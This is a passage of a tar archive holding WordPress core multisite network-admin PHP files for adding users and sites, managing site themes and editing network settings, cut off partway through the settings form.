 * User profile network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/profile.php';
user-new.php000064400000012154151007247650007034 0ustar00<?php
/**
 * Add User network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'create_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add users to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Add User will set up a new user account on the network and send that person an email with username and password.' ) . '</p>' .
			'<p>' . __( 'Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-user' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-user', '_wpnonce_add-user' );

	if ( ! current_user_can( 'manage_network_users' ) ) {
		wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
	}

	if ( ! is_array( $_POST['user'] ) ) {
		wp_die( __( 'Cannot create an empty user.' ) );
	}

	$user = wp_unslash( $_POST['user'] );

	$user_details = wpmu_validate_user_signup( $user['username'], $user['email'] );

	if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) {
		$add_user_errors = $user_details['errors'];
	} else {
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) );

		if ( ! $user_id ) {
			$add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) );
		} else {
			/**
			 * Fires after a new user has been created via the network user-new.php page.
			 *
			 * @since 4.4.0
			 *
			 * @param int $user_id ID of the newly created user.
			 */
			do_action( 'network_user_new_created_user', $user_id );

			wp_redirect(
				add_query_arg(
					array(
						'update'  => 'added',
						'user_id' => $user_id,
					),
					'user-new.php'
				)
			);
			exit;
		}
	}
}

$message = '';
if ( isset( $_GET['update'] ) ) {
	if ( 'added' === $_GET['update'] ) {
		$edit_link = '';
		if ( isset( $_GET['user_id'] ) ) {
			$user_id_new = absint( $_GET['user_id'] );
			if ( $user_id_new ) {
				$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) );
			}
		}

		$message = __( 'User added.' );

		if ( $edit_link ) {
			$message .= sprintf( ' <a href="%s">%s</a>', $edit_link, __( 'Edit user' ) );
		}
	}
}

// Used in the HTML title tag.
$title       = __( 'Add User' );
$parent_file = 'users.php';

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 id="add-new-user"><?php _e( 'Add User' ); ?></h1>
<?php
if ( '' !== $message ) {
	wp_admin_notice(
		$message,
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}

if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) {
	$error_messages = '';
	foreach ( $add_user_errors->get_error_messages() as $error ) {
		$error_messages .= "<p>$error</p>";
	}

	wp_admin_notice(
		$error_messages,
		array(
			'type'           => 'error',
			'dismissible'    => true,
			'id'             => 'message',
			'paragraph_wrap' => false,
		)
	);
}
?>
	<form action="<?php echo esc_url( network_admin_url( 'user-new.php?action=add-user' ) ); ?>" id="adduser" method="post" novalidate="novalidate">
		<p><?php echo wp_required_field_message(); ?></p>
		<table class="form-table" role="presentation">
			<tr class="form-field form-required">
				<th scope="row"><label for="username"><?php _e( 'Username' ); ?> <?php echo wp_required_field_indicator(); ?></label></th>
				<td><input type="text" class="regular-text" name="user[username]" id="username" autocapitalize="none" autocorrect="off" maxlength="60" required="required" /></td>
			</tr>
			<tr class="form-field form-required">
				<th scope="row"><label for="email"><?php _e( 'Email' ); ?> <?php echo wp_required_field_indicator(); ?></label></th>
				<td><input type="email" class="regular-text" name="user[email]" id="email" required="required" /></td>
			</tr>
			<tr class="form-field">
				<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
			</tr>
		</table>
	<?php
	/**
	 * Fires at the end of the new user form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_user_new_form' );

	wp_nonce_field( 'add-user', '_wpnonce_add-user' );
	submit_button( __( 'Add User' ), 'primary', 'add-user' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
site-themes.php000064400000015333151007247650007520 0ustar00<?php
/**
 * Edit Site Themes Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage themes for this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site themes list' ),
		'heading_pagination' => __( 'Site themes list navigation' ),
		'heading_list'       => __( 'Site themes list' ),
	)
);

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );

$action = $wp_list_table->current_action();

$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args              = array( 'enabled', 'disabled', 'error' );
$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$wp_list_table->prepare_items();

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

if ( $action ) {
	switch_to_blog( $id );
	$allowed_themes = get_option( 'allowedthemes' );

	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'enabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array( $theme => true );
			} else {
				$allowed_themes[ $theme ] = true;
			}
			break;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			$theme  = $_GET['theme'];
			$action = 'disabled';
			$n      = 1;
			if ( ! $allowed_themes ) {
				$allowed_themes = array();
			} else {
				unset( $allowed_themes[ $theme ] );
			}
			break;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'enabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					$allowed_themes[ $theme ] = true;
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			if ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
				$action = 'disabled';
				$n      = count( $themes );
				foreach ( (array) $themes as $theme ) {
					unset( $allowed_themes[ $theme ] );
				}
			} else {
				$action = 'error';
				$n      = 'none';
			}
			break;
		default:
			if ( isset( $_POST['checked'] ) ) {
				check_admin_referer( 'bulk-themes' );
				$themes = (array) $_POST['checked'];
				$n      = count( $themes );
				$screen = get_current_screen()->id;

				/**
				 * Fires when a custom bulk action should be handled.
				 *
				 * The redirect link should be modified with success or failure feedback
				 * from the action to be used to display feedback to the user.
				 *
				 * The dynamic portion of the hook name, `$screen`, refers to the current screen ID.
				 *
				 * @since 4.7.0
				 *
				 * @param string $redirect_url The redirect URL.
				 * @param string $action       The action being taken.
				 * @param array  $items        The items to take the action on.
				 * @param int    $site_id      The site ID.
				 */
				$referer = apply_filters( "handle_network_bulk_actions-{$screen}", $referer, $action, $themes, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
			} else {
				$action = 'error';
				$n      = 'none';
			}
	}

	update_option( 'allowedthemes', $allowed_themes, false );
	restore_current_blog();

	wp_safe_redirect(
		add_query_arg(
			array(
				'id'    => $id,
				$action => $n,
			),
			$referer
		)
	);
	exit;
}

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_thickbox();
add_screen_option( 'per_page' );

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-themes',
	)
);

if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme enabled.', '%s themes enabled.', $enabled );
	}

	wp_admin_notice(
		sprintf( $message, number_format_i18n( $enabled ) ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		/* translators: %s: Number of themes. */
		$message = _n( '%s theme disabled.', '%s themes disabled.', $disabled );
	}

	wp_admin_notice(
		sprintf( $message, number_format_i18n( $disabled ) ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	wp_admin_notice(
		__( 'No theme selected.' ),
		array(
			'type'        => 'error',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<p><?php _e( 'Network enabled themes are not shown on this screen.' ); ?></p>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search installed themes' ), 'theme' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-themes.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

</div>
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
site-new.php000064400000022543151007247650007025 0ustar00<?php
/**
 * Add Site Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'create_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add sites to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '</p>' .
			'<p>' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-blog', '_wpnonce_add-blog' );

	if ( ! is_array( $_POST['blog'] ) ) {
		wp_die( __( 'Cannot create an empty site.' ) );
	}

	$blog   = $_POST['blog'];
	$domain = '';

	$blog['domain'] = trim( $blog['domain'] );
	if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) {
		$domain = strtolower( $blog['domain'] );
	}

	// If not a subdomain installation, make sure the domain isn't a reserved word.
	if ( ! is_subdomain_install() ) {
		$subdirectory_reserved_names = get_subdirectory_reserved_names();

		if ( in_array( $domain, $subdirectory_reserved_names, true ) ) {
			wp_die(
				sprintf(
					/* translators: %s: Reserved names list. */
					__( 'The following words are reserved for use by WordPress functions and cannot be used as site names: %s' ),
					'<code>' . implode( '</code>, <code>', $subdirectory_reserved_names ) . '</code>'
				)
			);
		}
	}

	$title = $blog['title'];

	$meta = array(
		'public' => 1,
	);

	// Handle translation installation for the new site.
	if ( isset( $_POST['WPLANG'] ) ) {
		if ( '' === $_POST['WPLANG'] ) {
			$meta['WPLANG'] = ''; // en_US
		} elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) {
			$meta['WPLANG'] = $_POST['WPLANG'];
		} elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
			$language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) );
			if ( $language ) {
				$meta['WPLANG'] = $language;
			}
		}
	}

	if ( empty( $title ) ) {
		wp_die( __( 'Missing site title.' ) );
	}

	if ( empty( $domain ) ) {
		wp_die( __( 'Missing or invalid site address.' ) );
	}

	if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) {
		wp_die( __( 'Missing email address.' ) );
	}

	$email = sanitize_email( $blog['email'] );
	if ( ! is_email( $email ) ) {
		wp_die( __( 'Invalid email address.' ) );
	}

	if ( is_subdomain_install() ) {
		$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain );
		$path      = get_network()->path;
	} else {
		$newdomain = get_network()->domain;
		$path      = get_network()->path . $domain . '/';
	}

	$password = 'N/A';
	$user_id  = email_exists( $email );
	if ( ! $user_id ) { // Create a new user with a random password.
		/**
		 * Fires immediately before a new user is created via the network site-new.php page.
		 *
		 * @since 4.5.0
		 *
		 * @param string $email Email of the non-existent user.
		 */
		do_action( 'pre_network_site_new_created_user', $email );

		$user_id = username_exists( $domain );
		if ( $user_id ) {
			wp_die( __( 'The domain or path entered conflicts with an existing username.' ) );
		}
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( $domain, $password, $email );
		if ( false === $user_id ) {
			wp_die( __( 'There was an error creating the user.' ) );
		}

		/**
		 * Fires after a new user has been created via the network site-new.php page.
		 *
		 * @since 4.4.0
		 *
		 * @param int $user_id ID of the newly created user.
		 */
		do_action( 'network_site_new_created_user', $user_id );
	}

	$wpdb->hide_errors();
	$id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() );
	$wpdb->show_errors();

	if ( ! is_wp_error( $id ) ) {
		if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) {
			update_user_option( $user_id, 'primary_blog', $id, true );
		}

		wpmu_new_site_admin_notification( $id, $user_id );
		wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) );
		wp_redirect(
			add_query_arg(
				array(
					'update' => 'added',
					'id'     => $id,
				),
				'site-new.php'
			)
		);
		exit;
	} else {
		wp_die( $id->get_error_message() );
	}
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'added' === $_GET['update'] ) {
		$messages[] = sprintf(
			/* translators: 1: Dashboard URL, 2: Network admin edit URL. */
			__( 'Site added. <a href="%1$s">Visit Dashboard</a> or <a href="%2$s">Edit Site</a>' ),
			esc_url( get_admin_url( absint( $_GET['id'] ) ) ),
			network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) )
		);
	}
}

// Used in the HTML title tag.
$title       = __( 'Add Site' );
$parent_file = 'sites.php';

wp_enqueue_script( 'user-suggest' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="add-new-site"><?php _e( 'Add Site' ); ?></h1>
<?php
if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<p><?php echo wp_required_field_message(); ?></p>
<form method="post" action="<?php echo esc_url( network_admin_url( 'site-new.php?action=add-site' ) ); ?>" novalidate="novalidate">
<?php wp_nonce_field( 'add-blog', '_wpnonce_add-blog' ); ?>
	<table class="form-table" role="presentation">
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-address">
					<?php
					_e( 'Site Address (URL)' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td>
			<?php if ( is_subdomain_install() ) { ?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required /><span class="no-break">.<?php echo preg_replace( '|^www\.|', '', get_network()->domain ); ?></span>
				<?php
			} else {
				echo get_network()->domain . get_network()->path
				?>
				<input name="blog[domain]" type="text" class="regular-text ltr" id="site-address" aria-describedby="site-address-desc" autocapitalize="none" autocorrect="off" required />
				<?php
			}
			echo '<p class="description" id="site-address-desc">' . __( 'Only lowercase letters (a-z), numbers, and hyphens are allowed.' ) . '</p>';
			?>
			</td>
		</tr>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="site-title">
					<?php
					_e( 'Site Title' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[title]" type="text" class="regular-text" id="site-title" required /></td>
		</tr>
		<?php
		$languages    = get_available_languages();
		$translations = wp_get_available_translations();
		if ( ! empty( $languages ) || ! empty( $translations ) ) :
			?>
			<tr class="form-field form-required">
				<th scope="row"><label for="site-language"><?php _e( 'Site Language' ); ?></label></th>
				<td>
					<?php
					// Network default.
					$lang = get_site_option( 'WPLANG' );

					// Use English if the default isn't available.
					if ( ! in_array( $lang, $languages, true ) ) {
						$lang = '';
					}

					wp_dropdown_languages(
						array(
							'name'                        => 'WPLANG',
							'id'                          => 'site-language',
							'selected'                    => $lang,
							'languages'                   => $languages,
							'translations'                => $translations,
							'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
						)
					);
					?>
				</td>
			</tr>
		<?php endif; // Languages. ?>
		<tr class="form-field form-required">
			<th scope="row">
				<label for="admin-email">
					<?php
					_e( 'Admin Email' );
					echo ' ' . wp_required_field_indicator();
					?>
				</label>
			</th>
			<td><input name="blog[email]" type="email" class="regular-text wp-suggest-user" id="admin-email" data-autocomplete-type="search" data-autocomplete-field="user_email" aria-describedby="site-admin-email" required /></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><p id="site-admin-email"><?php _e( 'A new user will be created if the above email address is not in the database.' ); ?><br /><?php _e( 'The username and a link to set the password will be mailed to this email address.' ); ?></p></td>
		</tr>
	</table>

	<?php
	/**
	 * Fires at the end of the new site form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_site_new_form' );

	submit_button( __( 'Add Site' ), 'primary', 'add-site' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
setup.php000064400000000367151007247650006432 0ustar00<?php
/**
 * Network Setup administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/network.php';
freedoms.php000064400000000373151007247650007073 0ustar00<?php
/**
 * Network Freedoms administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/freedoms.php';
settings.php000064400000052725151007247650007137 0ustar00<?php
/**
 * Multisite network settings administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'manage_network_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

// Used in the HTML title tag.
$title       = __( 'Network Settings' );
$parent_file = 'settings.php';

// Handle network admin email change requests.
if ( ! empty( $_GET['network_admin_hash'] ) ) {
	$new_admin_details = get_site_option( 'network_admin_hash' );
	$redirect          = 'settings.php?updated=false';
	if ( is_array( $new_admin_details ) && hash_equals( $new_admin_details['hash'], $_GET['network_admin_hash'] ) && ! empty( $new_admin_details['newemail'] ) ) {
		update_site_option( 'admin_email', $new_admin_details['newemail'] );
		delete_site_option( 'network_admin_hash' );
		delete_site_option( 'new_admin_email' );
		$redirect = 'settings.php?updated=true';
	}
	wp_redirect( network_admin_url( $redirect ) );
	exit;
} elseif ( ! empty( $_GET['dismiss'] ) && 'new_network_admin_email' === $_GET['dismiss'] ) {
	check_admin_referer( 'dismiss_new_network_admin_email' );
	delete_site_option( 'network_admin_hash' );
	delete_site_option( 'new_admin_email' );
	wp_redirect( network_admin_url( 'settings.php?updated=true' ) );
	exit;
}

add_action( 'admin_head', 'network_settings_add_js' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site&#8217;s options.' ) . '</p>' .
			'<p>' . __( 'Operational settings has fields for the network&#8217;s name and admin email.' ) . '</p>' .
			'<p>' . __( 'Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network.' ) . '</p>' .
			'<p>' . __( 'New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what&#8127;s put in the first post, page, comment, comment author, and comment URL.' ) . '</p>' .
			'<p>' . __( 'Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only).' ) . '</p>' .
			'<p>' . __( 'You can set the language, and WordPress will automatically download and install the translation files (available if your filesystem is writable).' ) . '</p>' .
			'<p>' . __( 'Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins.' ) . '</p>' .
			'<p>' . __( 'Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/settings/">Documentation on Network Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

if ( $_POST ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	check_admin_referer( 'siteoptions' );

	$checked_options = array(
		'menu_items'                  => array(),
		'registrationnotification'    => 'no',
		'upload_space_check_disabled' => 1,
		'add_new_users'               => 0,
	);
	foreach ( $checked_options as $option_name => $option_unchecked_value ) {
		if ( ! isset( $_POST[ $option_name ] ) ) {
			$_POST[ $option_name ] = $option_unchecked_value;
		}
	}

	$options = array(
		'registrationnotification',
		'registration',
		'add_new_users',
		'menu_items',
		'upload_space_check_disabled',
		'blog_upload_space',
		'upload_filetypes',
		'site_name',
		'first_post',
		'first_page',
		'first_comment',
		'first_comment_url',
		'first_comment_author',
		'welcome_email',
		'welcome_user_email',
		'fileupload_maxk',
		'illegal_names',
		'limited_email_domains',
		'banned_email_domains',
		'WPLANG',
		'new_admin_email',
		'first_comment_email',
	);

	// Handle translation installation.
	if ( ! empty( $_POST['WPLANG'] ) && current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
		$language = wp_download_language_pack( $_POST['WPLANG'] );
		if ( $language ) {
			$_POST['WPLANG'] = $language;
		}
	}

	foreach ( $options as $option_name ) {
		if ( ! isset( $_POST[ $option_name ] ) ) {
			continue;
		}
		$value = wp_unslash( $_POST[ $option_name ] );
		update_site_option( $option_name, $value );
	}

	/**
	 * Fires after the network options are updated.
	 *
	 * @since MU (3.0.0)
	 */
	do_action( 'update_wpmu_options' );

	wp_redirect( add_query_arg( 'updated', 'true', network_admin_url( 'settings.php' ) ) );
	exit;
}

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_GET['updated'] ) ) {
	wp_admin_notice(
		__( 'Settings saved.' ),
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<div class="wrap">
	<h1><?php echo esc_html( $title ); ?></h1>
	<form method="post" action="settings.php" novalidate="novalidate">
		<?php wp_nonce_field( 'siteoptions' ); ?>
		<h2><?php _e( 'Operational Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><label for="site_name"><?php _e( 'Network Title' ); ?></label></th>
				<td>
					<input name="site_name" type="text" id="site_name" class="regular-text" value="<?php echo esc_attr( get_network()->site_name ); ?>" />
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="admin_email"><?php _e( 'Network Admin Email' ); ?></label></th>
				<td>
					<input name="new_admin_email" type="email" id="admin_email" aria-describedby="admin-email-desc" class="regular-text" value="<?php echo esc_attr( get_site_option( 'admin_email' ) ); ?>" />
					<p class="description" id="admin-email-desc">
						<?php _e( 'This address is used for admin purposes. If you change this, an email will be sent to your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>' ); ?>
					</p>
					<?php
					$new_admin_email = get_site_option( 'new_admin_email' );
					if ( $new_admin_email && get_site_option( 'admin_email' ) !== $new_admin_email ) :
						$notice_message = sprintf(
							/* translators: %s: New network admin email. */
							__( 'There is a pending change of the network admin email to %s.' ),
							'<code>' . esc_html( $new_admin_email ) . '</code>'
						);

						$notice_message .= sprintf(
							' <a href="%1$s">%2$s</a>',
							esc_url( wp_nonce_url( network_admin_url( 'settings.php?dismiss=new_network_admin_email' ), 'dismiss_new_network_admin_email' ) ),
							__( 'Cancel' )
						);

						wp_admin_notice(
							$notice_message,
							array(
								'type'               => 'warning',
								'dismissible'        => true,
								'additional_classes' => array( 'inline' ),
							)
						);
					endif;
					?>
				</td>
			</tr>
		</table>
		<h2><?php _e( 'Registration Settings' ); ?></h2>
		<table class="form-table" role="presentation">
			<tr>
				<th scope="row"><?php _e( 'Allow new registrations' ); ?></th>
				<?php
				if ( ! get_site_option( 'registration' ) ) {
					update_site_option( 'registration', 'none' );
				}
				$reg = get_site_option( 'registration' );
				?>
				<td>
					<fieldset>
					<legend class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'New registrations settings' );
						?>
					</legend>
					<label><input name="registration" type="radio" id="registration1" value="none"<?php checked( $reg, 'none' ); ?> /> <?php _e( 'Registration is disabled' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration2" value="user"<?php checked( $reg, 'user' ); ?> /> <?php _e( 'User accounts may be registered' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration3" value="blog"<?php checked( $reg, 'blog' ); ?> /> <?php _e( 'Logged in users may register new sites' ); ?></label><br />
					<label><input name="registration" type="radio" id="registration4" value="all"<?php checked( $reg, 'all' ); ?> /> <?php _e( 'Both sites and user accounts can be registered' ); ?></label>
					<?php
					if ( is_subdomain_install() ) {
						echo '<p class="description">';
						printf(
							/* translators: 1: NOBLOGREDIRECT, 2: wp-config.php */
							__( 'If registration is disabled, please set %1$s in %2$s to a URL you will redirect visitors to if they visit a non-existent site.' ),
							'<code>NOBLOGREDIRECT</code>',
							'<code>wp-config.php</code>'
						);
						echo '</p>';
					}
					?>
					</fieldset>
				</td>
			</tr>

			<tr>
				<th scope="row"><?php _e( 'Registration notification' ); ?></th>
				<?php
				if ( ! get_site_option( 'registrationnotification' ) ) {
					update_site_option( 'registrationnotification', 'yes' );
				}
				?>
				<td>
					<label><input name="registrationnotification" type="checkbox" id="registrationnotification" value="yes"<?php checked( get_site_option( 'registrationnotification' ), 'yes' ); ?> /> <?php _e( 'Send the network admin an email notification every time someone registers a site or user account' ); ?></label>
				</td>
			</tr>

			<tr id="addnewusers">
				<th scope="row"><?php _e( 'Add Users' ); ?></th>
				<td>
					<label><input name="add_new_users" type="checkbox" id="add_new_users" value="1"<?php checked( get_site_option( 'add_new_users' ) ); ?> /> <?php _e( 'Allow site administrators to add new users to their site via the "Users &rarr; Add User" page' ); ?></label>
				</td>
			</tr>

			<tr>
				<th scope="row"><label for="illegal_names"><?php _e( 'Banned Names' ); ?></label></th>
				<td>
					<?php
					$illegal_names = get_site_option( 'illegal_names' );

					if ( empty( $illegal_names ) ) {
						$illegal_names = '';
					} elseif ( is_array( $illegal_names ) ) {
						$illegal_names = implode( ' ', $illegal_names );
					}
					?>
					<input name="illegal_names" type="text" id="illegal_names" aria-describedby="illegal-names-desc" class="large-text" value="<?php echo esc_attr( $illegal_names ); ?>" size="45" />
